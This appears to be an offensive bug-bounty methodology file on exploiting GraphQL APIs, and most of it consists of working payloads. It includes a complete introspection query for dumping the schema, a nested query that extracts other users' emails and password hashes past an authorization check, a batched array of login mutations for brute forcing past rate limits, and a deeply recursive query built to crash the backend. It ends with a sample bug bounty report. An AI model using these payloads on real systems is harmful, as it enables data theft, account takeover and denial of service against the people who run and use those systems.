Identify and exploit GraphQL API vulnerabilities by leveraging Introspection queries to dump the entire database schema, performing query batching to bypass rate limits (brute forcing), and extracting deeply nested unauthorized data via graph relationship abuse.
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/graphql, /v1/graphql, or /api/graphql.{"query": "query { ... }"} or {"variables": {...}} JSON structures.# Concept: Unlike REST, GraphQL uses a single endpoint. If "Introspection" is enabled,
# the GraphQL server will literally explain its entire structure (all queries, mutations,
# and object types) to anyone requesting it.
# 1. Standard Introspection Query (Send via POST /graphql)
{"query":"\n query IntrospectionQuery {\n __schema {\n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type { ...TypeRef }\n defaultValue\n }\n\n fragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n }\n }\n }\n }\n }\n "}
# 2. Result Analysis:
# If successful, you will receive a massive JSON dump containing the schema.
# Copy the JSON and load it into a tool like GraphQL Voyager (visual graph) or InQL (Burp Extension) to map the database visually.
# Concept: A developer might secure the `user(id: 5)` query. But what if `company`
# has a relationship field linking back to `users`? You can bypass the authorization
# check by traversing the graph backwards.
# Assume we are NOT authorized to query other users:
query {
user(id: 1) { email } # Returns Error: Denied
}
# Malicious nested traversal:
# We query a public company, then request its employees, reaching the user data anyway!
query {
company(id: 99) {
name
employees {
id
email
password_hash
}
}
}
# Result: Successful extraction of all email addresses and hashes!
# Concept: GraphQL supports "query batching" allowing clients to send arrays of multiple
# queries in one single HTTP request. This completely defeats traditional IP-based WAF
# HTTP rate limits.
# Standard Rate Limiting sees ONE incoming HTTP request. But inside that request...
[
{"query": "mutation { login(user: \"admin\", pass: \"12345\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"admin123\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"admin1234\") { token } }"}
// ... Paste 50,000 queries here in one JSON array
]
# We executed 50,000 login attempts in a single network packet.
# Concept: Because GraphQL handles relationships dynamically, an attacker can request
# infinitely recursive relationships, crashing the backend server's CPU/Memory.
query {
author(id: 1) {
books {
author {
books {
author {
books {
author {
name # Repeat 100 times until the backend runs out of memory (OOM crash)
}
}
}
}
}
}
}
}
flowchart TD
A[Locate /graphql Endpoint] --> B{Run Introspection Query}
B -->|Enabled| C[Export Schema. Map internal structure.]
B -->|Disabled| D[Fuzz field names via Field Suggestion errors ('Did you mean...?')]
C --> E[Test Nested Data Extraction IDORs]
C --> F[Test Aliased Query Batching for Brute Force]
C --> G[Test Recursive Denial of Service]
user via company.employees checks the exact same permissions as querying user(id: 5) directly.| Concept | Description |
|---|---|
| GraphQL | A query-language API architecture alternative to REST allowing clients to request exactly the data payload they need, no more, no less |
| Introspection | A built-in system allowing a GraphQL client to query the GraphQL server for information about the underlying schema and types |
| Query Batching | Sending an array of multiple distinct GraphQL operations in a single HTTP POST request |
| Resolver | A function in the backend code responsible for fetching the data for a specific field within the GraphQL schema |
Bug Bounty Report: WAF Rate Limit Bypass via GraphQL Batching
=============================================================
Vulnerability: Application-Level Denial of Service & Authentication Bypass
Severity: High (CVSS 7.5)
Target: POST /graphql
Description:
The authentication endpoint utilizes GraphQL mutations (`loginMutation`) to process user logins. While the Cloudflare edge WAF limits HTTP requests to 10 per minute, the backend GraphQL server (Apollo) permits Query Batching. An attacker can construct a single HTTP request containing an array of 5,000 distinct login mutations, executing a massive brute-force attack entirely circumventing the HTTP rate limiter.
Reproduction Steps:
1. Intercept a standard login request.
2. Modify the JSON payload from a single object `{ "query": "mutation { login..." }` into a JSON array:
`[ {"query": "mutation... pass='1'"}, {"query": "mutation... pass='2'"} ]`
3. Forward the request.
4. The server responds with an array of authentication failures and, sequentially, the successful authorization token.
Impact:
Immediate circumvention of brute-force protections allowing rapid credential stuffing resulting in Account Takeover (ATO).
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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